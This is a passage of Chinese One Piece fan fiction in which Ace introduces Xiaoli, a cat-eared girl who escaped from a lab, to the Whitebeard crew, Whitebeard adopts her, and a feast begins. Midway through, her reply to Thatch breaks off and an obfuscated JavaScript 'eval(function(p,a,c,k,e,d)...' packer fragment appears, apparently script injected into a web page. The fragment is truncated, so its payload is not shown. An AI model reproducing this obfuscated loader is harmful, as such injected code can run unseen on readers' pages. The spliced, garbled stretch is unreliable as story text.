小狸摇摇头,表示没关系。她的目光落在他脸上,看着他眼中翻涌的复杂情绪,心里既酸涩又温暖。他是在心疼她。这个认知让她鼻子又开始发酸。 艾斯用力抹了一把脸,像是要抹去那些纷乱的情绪。他站起身,走到自己的柜子前,翻找了一下,拿出一件自己的旧衬衫——干净的,但洗得有些发白,带着他惯用的皂角味和阳光晒过的气息。 他走回来,将衬衫轻轻披在小狸单薄的肩膀上。布料对她来说过于宽大,几乎将她整个上半身都包裹了进去,袖子长得垂到了她的大腿。 “先穿着,挡挡风。”他的声音恢复了平时的温和,“小狸,我现在必须立刻去找老爹,告诉他你来了的事。这是规矩,也是尊重。” 他顿了顿,看着她依旧有些茫然的眼睛,放柔了语气:“你就在这里等我,好不好?哪里都不要去,我很快就回来。这个房间很安全,没人敢随便进来。” 小狸抓紧了肩膀上过于宽大的衬衫衣领,布料上残留的体温和熟悉的味道包裹着她,带来一种奇异的安全感。她点点头,小声说:“好。” 艾斯看着她乖巧点头的样子,心里那处柔软的地方又被轻轻撞了一下。他伸出手,像往常一样揉揉她的头发——她的头发里还沾着灰尘和木屑,看起来可怜兮兮的。 “我很快回来。” 说完,他转身走向房门。推开门的瞬间,他停顿了一下,手指紧紧抓住门框,指尖因为用力而微微发白,还在不易察觉地颤抖。他回头看了小狸一眼——她还坐在地上,裹着他的大衬衫,像一只误入陌生领地、暂时找到避风港的小动物,正睁着那双清澈的蓝眼睛望着他。 艾斯的心脏又重重跳了一下。他强迫自己移开视线,迈步走了出去,并轻轻带上了门。 门关上的瞬间,他靠在门板上,闭上眼睛,深深吸了几口气。胸腔里激荡的情绪依旧没有完全平复,狂喜、后怕、心疼、责任感……各种感受交织在一起,像一锅煮沸的浓汤,咕嘟咕嘟地冒着泡。 然后他直起身,朝着甲板中央——白胡子通常所在的位置——大步走去。脚步快得几乎要跑起来,带着一种迫不及待的、想要立刻解决这件事然后回到那个房间的急切。 -------------------- 白胡子早已听到了船舱那边传来的骚动。 他端坐在他那张特制的巨大座椅上,手里拿着一个足有普通人那么高的酒碗,正慢条斯理地啜饮着。海风吹拂着他那标志性的月牙形白色胡子,阳光在他宽阔如山峦的肩膀上跳跃。尽管闭着眼睛,但他的嘴角微微上扬,显然对儿子们之间的热闹乐见其成。 然后,他就看见艾斯像一阵风似的冲了过来。 是真的“冲”。黑发青年几乎在甲板上留下一道残影,眨眼间就冲到了他面前,甚至因为停得太急,鞋底在木板上摩擦发出刺耳的“吱——”声。 “老爹!” 艾斯站定,胸膛剧烈起伏,呼吸急促,脸上还带着未褪尽的红潮,眼睛亮得惊人,里面燃烧着某种炽热到近乎疯狂的光彩。他甚至没等气息完全平复,就迫不及待地开口,声音因为激动而显得有些语无伦次: “老爹!小狸,小狸她过来找我了!她真的过来了!从那个世界!就刚刚!在我房间里!我推开门她就坐在地上——真的就是她!我没想到——我完全没想到她会——但是她真的来了!” 他说话像连珠炮,语句之间几乎没有停顿,颠三倒四,手还不停地比划着,试图描绘出那个不可思议的场景。 白胡子缓缓睁开一只眼睛,斜睨着眼前这个兴奋得上蹿下跳、活像第一次捡到宝藏的小鬼头的二番队队长。巨大的手掌抬起来,揉了揉自己被那高亢嗓音震得有些发痒的耳朵。 “咕啦啦啦……”低沉的笑声从胸腔里滚出来,带着海风般的宽厚和了然,“听到了,听到了,整个甲板都听到了。” 他看着艾斯——这个平时虽然热血冲动但关键时刻绝对可靠的儿子,此刻脸上却只剩下纯粹的、毫不掩饰的狂喜和一点点傻气。那表情,比任何时候都更像一个真正的、会为重要的人失态的十八岁少年。 白胡子觉得有点好笑,又有点欣慰。 艾斯还在原地转了个圈,双手抓着头发,似乎想冷静下来,但完全失败了。他继续喋喋不休:“她瘦了好多,老爹,瘦得吓人,肯定没好好吃饭……那个世界什么都没有,她一个人……她居然敢一个人就穿过那扇门!万一出事了怎么办?我得看着她,我得——” “艾斯。” 白胡子温和地打断了他,声音不高,却带着一种奇异的安抚力量,像沉稳的鼓点,瞬间压下了青年纷乱的思绪。 艾斯猛地停住话头,像是终于意识到自己刚才的失态。他站直身体,深吸几口气,努力平复过于激动的心情。脸上的红潮稍微退去了一些,但眼睛里的光彩丝毫未减。 他看着白胡子,那双总是燃烧着火焰的黑眸里,此刻除了兴奋,慢慢沉淀出一种更深沉、更柔软的东西。 “老爹,”他的声音平静了一些,但依旧带着不容错辨的郑重和恳切,“我想让小狸留下来。” 他停顿了一下,似乎在斟酌词句,手指无意识地摩挲着裤缝。 “我会照顾她。她……她一直过得很辛苦,很孤独。”他的目光投向远方,又迅速收回来,落在白胡子脸上,眼神里是前所未有的认真,“在那个世界,没有人真正接纳她。她救了我,给了我一个容身之处,在我最糟糕的时候……现在她来到了这里,这里是我的家,也应该是她的家。我希望……她能在这里找到归宿。” 他说得很慢,每个字都像是从心里掏出来的,带着温度。 白胡子静静地看着他,那双历经沧桑、仿佛能看透一切的眼睛里,倒映着艾斯郑重其事的脸。几秒钟的沉默后,白胡子的嘴角再次扬起,那是一个真正开怀的、带着慈爱和纵容的笑容。 “做你想做的吧,我的儿子呦。”他的声音洪亮而温暖,像阳光洒满甲板,“那个叫小狸的女孩,是个很好的姑娘吧,艾斯?” 这句话像一把钥匙,彻底打开了艾斯心里最后一丝不确定。他的眼睛在那一瞬间亮得惊人,仿佛有星辰在其中炸开。所有的紧张、所有的忐忑都消失了,只剩下纯粹的、毫无保留的肯定和自豪。 他挺直脊背,脸上绽放出一个灿烂到几乎能驱散所有阴霾的笑容,用力地、重重地点了点头。 “是的,老爹。”他的声音清晰,坚定,充满力量,每一个音节都掷地有声: “她是最好的。” 17. 家人 艾斯离开后,小狸在原地坐了几分钟。 肩膀上的衬衫还残留着他的体温和味道,像一层无形的保护罩。她环顾这个房间——比她想象中要凌乱得多,但也……鲜活得多。 属于艾斯的气息无处不在。 她慢慢站起身,橡胶鞋底踩在微凉的木质地板上,发出轻微的“啪嗒”声。她开始在这个小小的空间里走动,好奇的四处张望。 她先走到桌边。桌子上摊开着几张巨大的海图,纸张边缘卷曲,上面用炭笔画满了各种标记和航线,字迹狂放不羁,有些地方还被水滴晕染开。旁边堆着几本看起来被翻过很多次的书,书页卷边,封面磨损。她伸出指尖,轻轻碰了碰书脊,又迅速缩回来,仿佛那是什么易碎的珍宝,书这种东西,在她的世界可是货真价实的稀有物。 她的目光移到椅子背上。那里随意搭着一件眼熟的橙色衬衫,袖口有油墨的痕迹,胸前还沾着一点可疑的、像是酱汁的污渍。她认得这件衣服——艾斯经常穿它。她忍不住凑近了些,鼻尖几乎要碰到布料。火焰、阳光、汗水、大海……各种味道混合在一起,如此鲜活,如此真实。 床头柜上摆着半个没吃完的肉干,咬痕参差不齐,旁边是一个空了的玻璃杯,杯底还残留着一点点透明的液体。墙角靠着一根钓鱼竿,鱼线缠得乱七八糟;墙壁上钉着几张泛黄的悬赏令,其中一张是艾斯自己的,照片上的他笑得没心没肺,下面的数字高得吓人。 这一切都太……生活化了。和她记忆中那个总是燃烧着、如同太阳般耀眼的艾斯有些不同,但又奇妙地吻合。原来他也会把房间弄乱,也会乱扔衣服,也会吃剩食物,也会把东西搞得一团糟。 但这种凌乱,却让她感到一种前所未有的安心。 这不是实验室那种冰冷、整洁、一丝不苟的秩序,也不是锈带诊所那种混杂着绝望和生存挣扎的混乱。这是一种温暖的、随意的、充满了“活着”的气息的凌乱。是属于“家”的凌乱。 她在房间里慢慢地转了一圈,手指拂过粗糙的木制墙壁,拂过冰凉的金属门把,拂过柔软的被褥。每一个细节都在告诉她:这是真实的。艾斯真的生活在这里。这里是他的一部分。 最后,她停在了房间唯一的舷窗前。 窗外是蔚蓝的天空和更深的蓝色海面,偶尔有白色的海鸟掠过。阳光透过圆形的玻璃窗,在地板上投下一个明亮的光斑。她看了很久,然后,像是下定了某种决心,慢慢挪到了门口。要是真的能在陌生的地方老老实实的呆住,她就不是小猫了。 手放在冰凉的门把上,她还是犹豫了一下。 外面是完全陌生的世界,充满了未知和可能的风险。但……艾斯在外面。他说这里是他的家,他说这里安全。 她轻轻推开了门。 光芒涌入,比房间里更明亮、更充沛。随之而来的,是一股她从未闻过的、强烈而陌生的气息——咸涩的、潮湿的、带着鲜活生命力的味道。那是大海的气息。 她走出房间,站在过道上。目光首先被占据了大半个视野的、无垠的蓝色所攫取。 海。 这就是海。 艾斯无数次向她描述过的、存在于他话语和梦境中的、蔚蓝的、广阔的海。 真实的景象远超她贫乏的想象。那不是一片单调的蓝色,而是无数种蓝的交响:近处是清澈的、近乎透明的浅蓝,能看见水下摇曳的、模糊的暗影;远处是深邃的、浓郁的、仿佛能将灵魂吸入的靛蓝,与天空的界限模糊交融。海面并非平静如镜,而是布满细碎的、银光闪闪的波纹,像一匹被风吹拂的、巨大的丝绸,不断起伏、流动。阳光洒在上面,碎裂成亿万片跳跃的金色光点,耀眼得让人几乎睁不开眼睛。 极目远眺,海平线是一条柔和而坚定的弧线,将天空和海洋分割开来。天空是更高、更远的蔚蓝,飘着几缕丝絮般的白云。整个世界广阔得没有边际,自由得让人心悸。 小狸瞪大了眼睛,嘴巴无意识地微微张开。她扶着门框,指尖因为用力而泛白,整个人像是被钉在了原地,只能呆呆地望着那片从未想象过的壮丽景象。 原来……这就是他口中的“自由”。 原来……这就是他归属的世界。 一种难以言喻的震撼和渺小感同时击中了她。在这个浩瀚无垠的蓝色世界面前,她那些来自锈带的、沉重的过去,那些实验室的冰冷记忆,那些独自挣扎的日日夜夜,似乎都被这无边无际的蔚蓝稀释、冲淡了。 “很漂亮,对吧?” 一个声音忽然从侧后方传来,温和,带着一点笑意。 小狸吓了一跳,整个身体瞬间绷紧,像受惊的猫一样猛地转过身,后背紧紧贴住门框,尾巴“唰”地竖得笔直,耳朵也转向声音来源的方向,每一根绒毛都进入戒备状态。 一个男人站在几步外的过道阴影里。他戴着一个造型奇特、只遮住上半张脸的面具,露出一双带着笑意的眼睛和线条温和的下半张脸。头发是奇怪的深蓝色,发型有点乱,但看起来并不邋遢。他穿着和艾斯他们风格类似的衣物,但更整洁一些。 “不管看多少次都不会觉得腻,这片海就是有这样的魔力。”男人继续说着,语气轻松,像是在和老朋友闲聊。他往前走了两步,停在了一个不会让小狸感到太有压迫感的距离。 “你好呀,”他微微歪头,面具下的眼睛弯了弯,“我是面具丢斯。本来听说艾斯一直念叨的小姑娘忽然出现在他房间里,就想来打个招呼。” 他顿了顿,目光在小狸警惕的猫耳和炸毛的尾巴上停留了一瞬,笑意更深了些。 “那家伙又跑到哪去了?把你一个人丢在这里可不行啊。” 小狸没有接话。她的身体依旧僵硬,蓝色瞳孔紧紧盯着丢斯,评估着这个陌生人的意图。手指抠着门框粗糙的木纹,脚尖微微向后挪动了一毫米——那是准备随时退回房间、关上门的下意识动作。 陌生的环境,陌生的人。即使空气中充满了艾斯的气息,即使眼前这片海美得让她心颤,骨子里对陌生人的警惕和疏离还是本能地占据了上风。 就在气氛有些微妙的凝滞时,一阵熟悉的、风风火火的脚步声由远及近。 “丢斯!” 艾斯的声音像一道阳光,劈开了小狸心头的紧张。她猛地转过头,看见艾斯正从过道另一端快步走来,脸上带着明亮的、毫无阴霾的笑容,之前的激动和郑重似乎已经沉淀为某种更为坚实的喜悦。 他几步就走到她身边,很自然地伸出手,拉住了她那只抠着门框的手。他的手掌温热干燥,带着常年锻炼留下的薄茧,但握住的力度很温和。 “你出来了?”艾斯低头看她,眼睛亮晶晶的,“正好,我带你去看看。” 他牵着她往前走了几步,来到过道边缘的栏杆旁。这里视野更加开阔,整片大海毫无保留地铺展在眼前。海风比在房间里感受到的更加强劲,带着充沛的水汽和咸腥味,吹拂起小狸凌乱的黑发和艾斯额前翘起的碎发。 “这就是我和你说过的海……很美吧”艾斯的声音在风中显得有些飘忽,但里面的温柔和自豪清晰可辨。他侧过头看她,期待着她的反应。 小狸的手被他握着,那熟悉的温度通过相贴的皮肤源源不断地传递过来,驱散了最后一丝不安。她抬起头,重新望向那片无边无际的蔚蓝。 这一次,不再有初见的震撼和茫然。她静静地看了很久,海风吹得她眼睛有些发涩,但她舍不得眨眼。蓝色猫瞳里倒映着波光粼粼的海面,仿佛将整片海洋都收纳进了眼底。 然后,她转过头,看向艾斯,脸上慢慢地、慢慢地绽开一个笑容。那笑容很浅,还带着点小心翼翼的试探,但眼睛弯成了月牙,里面闪烁着纯粹的、被美景打动的光彩。 她用力地、重重地点了点头。 “嗯!” 声音不大,但很坚定。 艾斯看着她脸上的笑容,看着她眼中倒映的海洋,心脏某个地方被轻轻撞了一下,软得一塌糊涂。他忍不住也笑起来,笑得比阳光还灿烂。 “走,我带你去认识大家!”他拉着她的手,转身朝主甲板走去,步伐轻快,“以后这里就是你的家了,小狸!” -------------------- 当艾斯牵着小狸出现在主甲板上时,原本散落在各处的船员们几乎在同一时间停下了手里的动作。 所有的目光——好奇的、善意的、惊讶的、探究的——齐刷刷地集中了过来,聚焦在那个被艾斯护在身侧、看起来格外娇小纤细的猫耳少女身上。 甲板上出现了短暂的、诡异的寂静。只能听见帆布被风吹动的猎猎声,海浪拍打船舷的哗哗声,以及远处海鸟的鸣叫。 小狸的身体瞬间绷紧了。她下意识地往艾斯身后缩了缩,试图用他高大的身形挡住那些灼热的视线。黑色的猫耳敏感地捕捉着空气中每一丝声响,紧张地贴住了头皮,几乎要隐没在发丝里。身后的长尾巴也本能地卷了起来,紧紧缠住自己的小腿,尾尖不安地颤抖着。 太多人了。形形色色,高矮胖瘦,每一个看起来都强悍有力,带着长期在海上搏杀历练出的粗犷气息。他们的目光像实质的网,将她从头到脚笼罩其中。这种被众多陌生人注视的感觉,让她胃部微微抽搐,呼吸都有些困难。 艾斯能感觉到手里那只小手的僵硬和冰凉。他握得更紧了些,拇指在她手背上安抚性地摩挲了两下,然后向前一步,将她稍微往身侧带了带,让她能半躲在自己身后,但又不会被完全挡住。 他清了清嗓子,声音洪亮,带着一贯的爽朗和不容错辨的骄傲,响彻整个甲板: “大家!” 所有的目光更加集中了。 艾斯深吸一口气,脸上扬起一个灿烂的笑容,侧过身,将小狸更清楚地展现在众人面前。他的手始终没有松开她。 “这就是我跟你们说过的,”他的声音里带着某种郑重其事的意味,一字一句,清晰无比,“在另一个世界救了我、照顾我的——” 他停顿了一下,目光扫过甲板上每一张熟悉的面孔,然后落回小狸有些苍白的侧脸上,眼神柔软。 “——小狸。” 最后的两个字,念得很轻,但又很重,像是将什么珍贵的东西,小心翼翼地捧出来,展示给他最重要的家人们看。 甲板上依旧安静。 小狸能感觉到所有人的目光都钉在她身上。她紧张得手心冒汗,心脏在胸腔里咚咚狂跳,几乎要撞碎肋骨。她低着头,盯着自己光着的、沾着灰尘的鞋子,不敢看任何人的眼睛。艾斯鼓励的话语在她耳边回响,但她需要一点时间来鼓起勇气。 一秒,两秒,三秒。 就在小狸开始怀疑自己是不是做错了什么、要不要抬头做些反应,紧张得尾巴尖都开始发麻的时候—— “喔!!!!!!” 一声震耳欲聋的欢呼,如同爆炸般在甲板上炸开! 那不是一个人的声音,而是几十个不同嗓音汇聚成的、充满力量和热情的洪流。声音之大,几乎要掀翻帆布,惊起远处桅杆上停驻的海鸟。 “欢迎来到莫比迪克号!!!” “小妹妹别怕!以后这里就是你的家了!” “艾斯这家伙承蒙你照顾啦!这小子一定给你添了不少麻烦吧!” “我的天!真的长着猫耳朵和尾巴!好可爱!” “怎么这么瘦啊?!艾斯你是不是在那边虐待人家了?!没给人饭吃吗?!” 欢呼声、笑闹声、善意的调侃和问候声瞬间如潮水般涌来,将小狸淹没。那些目光里的好奇和探究并没有消失,但此刻,全都化为了毫不掩饰的友善和欢迎。一张张粗犷的脸上绽放着真诚的笑容,眼睛里没有丝毫她熟悉的厌恶、恐惧或猎奇,只有纯粹的热情和接纳。 小狸愣住了。她茫然地抬起头,环视四周。船员们正朝她挥手,有的在鼓掌,有的在吹口哨,有的直接拿起手边的酒碗朝她举杯示意。气氛热烈得像是在庆祝什么盛大的节日。 那种预料中的排斥、审视、疏离……完全没有出现。 取而代之的,是一种她从未体验过的、滚烫的、几乎要将人融化的暖意。 艾斯松开她的手,改为揽住她的肩膀,将她往人群的方向轻轻推了推,脸上带着自豪又有点不好意思的笑容:“别紧张,他们都是我的家人,也是你的家人了。来,我给你介绍。” 他指向离得最近的一个高大男人——那人围着围裙,梳着牛排头,手里还拿着一把巨大的、闪着寒光的菜刀,他似乎受了伤,身上还缠着绷带,但脸上带着爽朗的笑容,正用力朝小狸挥手。 “这是萨奇,我们船上的厨师长,厨艺超棒!你以后想吃什么都可以找他,他会给你开小灶的!”艾斯的声音里带着促狭的笑意。 萨奇哈哈大笑着走过来,想要拍拍小狸的头,但看到她那对紧张竖起的猫耳,手在空中顿了顿,转而拍了拍艾斯的背:“臭小子!终于把你念叨的小姑娘带回来了!小狸是吧?我是萨奇!别听艾斯胡说,不过想吃什么尽管说!包你满意!” 小狸看着萨奇热情的笑脸,看着他手里那把夸张的菜刀,迟疑了一下,轻轻点了点头,小声说:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她一个一个地认过去,听着艾斯用熟稔又带着骄傲的语气介绍着他的家人们。每一个名字,都曾经出现在他讲述的故事里,如今变成了眼前鲜活的笑脸。花剑比斯塔,钻石乔兹,布拉曼克,库利艾尔,金古多,哈尔塔,水牛阿特摩斯,斯比多·基尔,佛萨…… 每张脸上都带着真诚的欢迎。每双眼睛里都没有她害怕看到的情绪。 一种奇妙的、不真实的感觉渐渐取代了最初的紧张。温暖,像逐渐漫上沙滩的海水,一点点浸润她冰封太久的感知。她能感觉到自己的尾巴尖,不知何时已经悄悄放松,不再紧紧缠绕小腿,而是轻轻垂落下来,尾梢小幅度地、试探性地晃了晃。 最后,艾斯牵着她,穿过了自动分开的人群,走向了甲板中央,那如同定海神针般端坐在特制巨椅上的身影。 越靠近,那股无形的压迫感就越强。那身影太巨大了,像一座真正的小山,投下的阴影几乎能将好几个人完全笼罩。小狸不由自主地屏住了呼吸,刚刚放松一些的身体再次绷紧。她握紧了艾斯的手,指尖冰凉。 艾斯感觉到了她的紧张,侧头对她安抚地笑了笑,用口型无声地说:“别怕。” 他们在巨椅前停下。艾斯抬起头,望着上方那张威严慈祥的脸庞,声音里带着发自内心的尊敬和一种近乎炫耀的自豪: “老爹,”他说,每个字都清晰有力,“这就是小狸。” 白胡子缓缓低下头。 那一瞬间,小狸感觉自己仿佛被一片移动的山影笼罩了。阳光被遮挡,空气似乎都凝滞了几分。巨大的身躯带来的不仅仅是视觉上的冲击,更是一种源自生命层次的无形威压,沉甸甸地落在肩头,让她几乎想要后退。 但她强迫自己站定了。她仰起头,努力挺直了单薄的脊背,蓝色的猫瞳对上了白胡子垂下的视线。 那双眼睛……并不像他的身躯那样充满压迫感。相反,它们异常温和,带着历经沧桑后的通透和宽厚,像暴风雨过后平静深邃的海面。此刻,那双巨大的眼睛里清晰地倒映着她渺小的身影,里面没有审视,只有温和的打量和一丝淡淡的好奇。 “咕啦啦啦……” 低沉的笑声从白胡子的胸腔里滚出来,像远方的闷雷,带着海风般的浑厚和暖意,震得人胸腔共鸣。 “就是你救了我这个冒失的儿子吗?小姑娘。” 他的声音不高,但每个字都像沉稳的鼓点,敲在人心上,带着一种奇异的安抚力量。 小狸紧张得手心全是汗,指甲几乎要掐进艾斯的手掌里。她能感觉到自己心脏在狂跳,耳朵因为紧张而微微颤抖。但她仰着脸,没有移开视线,勇敢地迎接着白胡子的目光。 这个人是艾斯最尊敬的人。是这片大海上如同传奇般的存在。是……他称之为“老爹”的人。 她用力吞咽了一下,润了润干涩的喉咙,然后,很轻,但很清晰地,点了点头。 “……是的。”她的声音有点发紧,但努力维持着平稳,“艾斯他……是很好很好的人。” 这句话说得很简单,甚至有些笨拙,没有任何华丽的修饰。但里面蕴含的肯定和珍视,却明明白白。 白胡子又笑了起来,笑声更加洪亮愉悦。他看着眼前这个瘦小得仿佛一阵风就能吹跑、却敢独自跨越世界、此刻明明紧张得尾巴毛都炸开了却还要努力挺直脊梁的猫耳少女,眼中流露出毫不掩饰的欣赏。 他朝小狸伸出那巨大的手掌。 手掌摊开,掌心宽厚,纹路深刻如沟壑,上面布满了各种陈年伤疤和厚茧。那手掌大得几乎能将她整个上半身都包裹进去。但这个动作并不带有攻击性,更像是一种邀请,一种展示。 “丫头,”白胡子的声音沉稳而充满力量,像最深的海底传来的回响,“你很有勇气。” 他的目光扫过小狸因为穿越而显得狼狈的衣着和消瘦的脸颊,又看了看她紧紧握着艾斯的手,继续道: “不仅救了我的儿子,还有胆量独自跨越世界来找他。” 他的语气里带着赞许,也有一丝长辈式的关怀。 “既然来了……” 他顿了顿,巨大的手掌依旧摊开着,悬在离小狸不远不近的半空。他看着小狸那双清澈得如同最纯净海水的蓝色眼睛,看着那里面交织的紧张、期待、不安和一丝深藏的渴望,脸上缓缓绽开一个真正开怀的、慈祥的笑容。 那笑容驱散了所有威严带来的压迫感,只剩下纯粹的温暖和接纳。 然后,他问出了那句足以改变一切的话。 声音不高,但清晰地传遍了突然安静下来的甲板,传入了每一个竖起耳朵倾听的船员耳中,也重重地、不容错辨地,敲在了小狸的心上: “小狸,你愿意做我的家人么?” 18. 欢宴 时间仿佛再次凝固了。 甲板上所有的喧闹、所有的声响,都在那一瞬间褪去,成为模糊的背景杂音。小狸的耳朵里只剩下自己血液奔流的声音,以及白胡子那句话在脑海中不断回荡的轰鸣。 家人……? 真正的、会接纳她、保护她的……家人? 这个词太过遥远,太过奢侈,像悬挂在漆黑天幕上的星星,美丽,却触不可及。在她的认知里,“家人”意味着血脉相连,意味着无条件的包容和归属。而她是什么?一个编号为5224的基因嵌合实验品,一个被两个世界同时抛弃的异类,一个在锈带挣扎求生、连自己到底是什么都搞不清楚的怪物。 她配吗? 她猛地抬起头,看向白胡子。那张巨大的、布满皱纹的脸上,笑容慈祥而真诚,没有任何玩笑的成分。她又猛地转头看向艾斯,艾斯正看着她,黑眸亮得惊人,里面充满了毫不掩饰的期待和鼓励,还有一种“我就知道会这样”的了然和自豪。她再环顾四周,甲板上所有的船员们都安静了下来,脸上带着善意的微笑,静静地看着她,等待着她的回答。 无数的视线聚焦在她身上,但这一次,那些目光里没有探究,没有审视,只有纯粹的、温暖的期待。 一种巨大的、几乎要将她淹没的不真实感攫住了她。 这一切……是真的吗?不是另一个残酷的梦境?不是她在锈带冰冷的诊所里,因为过度饥饿和孤独而产生的幻觉? 心脏在胸腔里疯狂擂动,喉咙像是被什么东西堵住了,干涩发紧。血液冲上头顶,耳膜嗡嗡作响。她张了张嘴,想说什么,却只能发出一点破碎的气音。 慌乱像藤蔓般缠绕上来,越收越紧。她看着白胡子等待的脸,看着周围那些温暖的笑脸,一种深植于骨髓的自卑和恐惧猛地窜了出来。 “我……我可以么?”她的声音颤抖得厉害,几乎不成调子,每一个字都像是从齿缝间艰难地挤出来的,“我……我是个实验品,我……” 她急促地呼吸着,试图解释,试图将自己最不堪的、最真实的底色摊开在他们面前。她想说,我不是正常的人类,我身上有动物的基因,我甚至不确定自己到底算是什么,我来自一个冰冷绝望的世界,我双手沾过血,我见过太多黑暗,我可能永远都无法理解你们这种纯粹的热情和羁绊…… 我不配。 我不配拥有“家人”这样温暖沉重的词汇。 就在那些自我贬低、自我否定的语句即将冲口而出的瞬间—— 一顶带着熟悉温度和气息的、略显陈旧的橙色牛仔帽,轻轻落在了她的头上。 帽檐压下来,恰到好处地遮住了她瞬间涌上泪意的眼睛,也挡住了她看向白胡子的、充满脆弱和自我怀疑的视线。 小狸愣住了。 她下意识地抬起手,扶住了帽檐。手指触碰到还带着艾斯体温的布料和皮革,那真实的触感像一道微弱的电流,击穿了正在将她拖入黑暗漩涡的负面情绪。 然后,她听见了艾斯的声音。 就在她耳边,很近,很轻,带着一种她从未听过的、混合着无奈、宠溺和不容置疑的温柔。 “这个时候,” 他顿了顿,声音里带着浅浅的笑意,像阳光穿透云层。 “只用叫老爹就好了。” 小狸的呼吸停滞了一瞬。 扶在帽檐上的手指,微微收紧。粗糙的布料摩擦着指腹,传来细微的刺痛感。帽檐下的阴影里,她的睫毛剧烈地颤抖着,眼眶里积蓄了太久的滚烫液体,终于承受不住重量,顺着脸颊无声滑落。 一滴,两滴。 落在她脏兮兮的衣襟上,晕开深色的痕迹。 所有的慌乱,所有的自我怀疑,所有那些根深蒂固的“我不配”,在这一刻,都被这顶带着他气息的帽子,和他这句简单到极致的话,轻轻地、却又无比坚定地按了下去。 她透过帽檐下的缝隙,看见艾斯近在咫尺的脸。他正微微弯着腰,凑近她,脸上没有不耐烦,没有失望,只有一种全然的、近乎纵容的鼓励。他的眼睛很亮,里面清晰地倒映着她戴着帽子、脸上泪痕未干的狼狈模样,但那目光里没有丝毫嫌弃,只有温柔。 她又慢慢地、慢慢地转过头,从帽檐下看向白胡子。 巨大的身影依旧坐在那里,手掌依旧摊开着,脸上的笑容没有丝毫变化,依旧慈祥,依旧温暖,依旧充满了等待和包容。 周围的所有人,都安静地等待着。 海风吹过,拂动帆布,带来咸涩湿润的气息。阳光洒满甲板,将一切都镀上温暖的金色。 时间,仿佛只为这一刻而流淌。 小狸深深地、深深地吸了一口气。 那口气息带着海的咸味,带着阳光的温度,带着周围人群善意注视下的暖意,沉入肺腑最深处。 然后,她松开了扶着帽檐的手。 抬起另一只依旧被艾斯紧紧握着的手,用尽了全身的力气,回握住了他的。指尖冰凉,但握得很紧。 她抬起头,帽檐下的蓝色眼睛不再躲闪,直直地看向白胡子。尽管眼泪还在不断滚落,将脸颊冲刷得更加狼狈,但她的眼神,却前所未有地清晰和坚定。 嘴唇颤抖着,张开。 用带着浓重哭腔、却无比清晰响亮、足以让甲板上每一个人都听清的声音,喊出了那个她以为这辈子都不可能拥有的称呼: “……我愿意。” 停顿了一下,泪水滚落得更凶,但她的声音没有丝毫犹豫,甚至提高了一些,像宣誓一般: “老爹!” -------------------- “咕啦啦啦!好!太好了!” 白胡子洪亮畅快的大笑声如同春雷炸响,瞬间驱散了所有的凝滞和静默!那笑声里充满了发自内心的喜悦和满足,震得人耳膜发麻,胸腔共鸣,连脚下的甲板都仿佛在随之微微震动! “我又多了一个可爱的女儿了!” 他巨大的手掌没有收回,而是向前伸了伸,用指背——那相对手掌更小、更温和的部分——极其轻柔地、像对待易碎的珍宝般,碰了碰小狸戴着帽子的头顶。 那触碰短暂而温暖,带着长辈的慈爱和一种正式的认可。 然后,白胡子收回手,高高举起他那个堪比常人大小、里面还晃荡着琥珀色酒液的巨型酒碗,声音如同海啸般席卷了整个莫比迪克号: “为了庆祝小狸的到来和艾斯平安归来——” 他停顿了一下,目光扫过甲板上每一张洋溢着笑容的脸,最后落在那两个紧握着手、一站一蹲、看起来格外般配的年轻身影上,嘴角咧开一个豪迈的弧度: “——开宴会了!!!” “哦!!!!!宴会!!!!!!” 震耳欲聋的欢呼声如同火山喷发,瞬间引爆了整个甲板!比刚才热烈十倍、百倍的热情浪潮,轰然席卷了每一个角落! “为了新妹妹!干杯!!!” “为了艾斯队长回家!干杯!!!” “为了老爹!为了白胡子海贼团!干杯!!!” 巨大的烤肉架被几个力大无穷的船员“哐当”一声架了起来,沉重的实木架子砸在甲板上发出沉闷的巨响。成桶的美酒——麦酒、朗姆酒、各种叫不出名字的烈酒——被从船舱深处搬出来,木桶滚过甲板的隆隆声不绝于耳。有人已经迫不及待地敲开了桶塞,琥珀色的酒液喷涌而出,浓郁的香气瞬间弥漫开来。有人搬出了各种乐器——手风琴、吉他、鼓——即兴的音乐声立刻响起,节奏欢快热烈,带着大海特有的奔放不羁。 刚才还井然有序的甲板,眨眼间就变成了一个盛大狂欢的现场。笑闹声、碰杯声、音乐声、油脂滴落在炭火上发出的“滋啦”声、肉块被烤得焦香四溢的“噼啪”声……各种声音混杂在一起,奏响了一曲独属于海贼的、充满生命力的交响乐。 艾斯也被这气氛感染,大笑着松开了小狸的手,用力拍了拍她的肩膀:“走!带你吃东西去!萨奇今天肯定把压箱底的好货都拿出来了!” 他拉着还有些发懵的小狸,走向香气最浓郁的地方——那个刚刚架起来的巨大烤肉架旁。 眼前的景象,再次超出了小狸贫瘠的想象。 烤架上串着的,是一整只她从未见过的、体型堪比小型汽车的奇异野兽。野兽的外皮已经被烤成了诱人的金棕色,油脂不断从皮肉深处渗出,滴落在下方烧得通红的炭块上,激起一阵阵带着浓烈肉香的白色烟雾。萨奇正挥舞着一把几乎有他半人高的特制铁钎,手法娴熟地在肉块上划开一道道深口,然后将各种香料和酱汁涂抹上去。每一下,都让香气更加浓郁几分。 旁边的长条桌上,摆满了各式各样她连见都没见过的食物:比她脑袋还大的、外壳鲜红的龙虾,张牙舞爪的巨型章鱼触须,堆成小山的、颜色各异的新鲜贝类,整条整条烤得外皮酥脆、肉质雪白肥嫩的大鱼,还有各种奇形怪状、但看起来就鲜美多汁的水果,色彩斑斓得像打翻了的调色盘。 食物的香气霸道地占据了她的所有感官。那是混合了炭火、香料、油脂、海鲜特有鲜甜和水果清香的、复杂到令人眩晕的味道。和锈带那些千篇一律的、带着化学怪味的合成食物截然不同,这是属于“鲜活生命”的、充满原始诱惑力的气息。 小狸的肚子不争气地“咕噜”叫了一声,声音在周围的喧嚣中并不明显,但她自己听得清清楚楚。她的眼睛几乎粘在了那些食物上,蓝色的瞳孔微微放大,喉咙不由自主地滚动了一下。 艾斯看着她这副样子,忍不住笑出声,塞给她一个巨大的、边缘烤得焦脆的木质盘子:“拿好!想吃什么自己去拿!别客气!今天管够!” 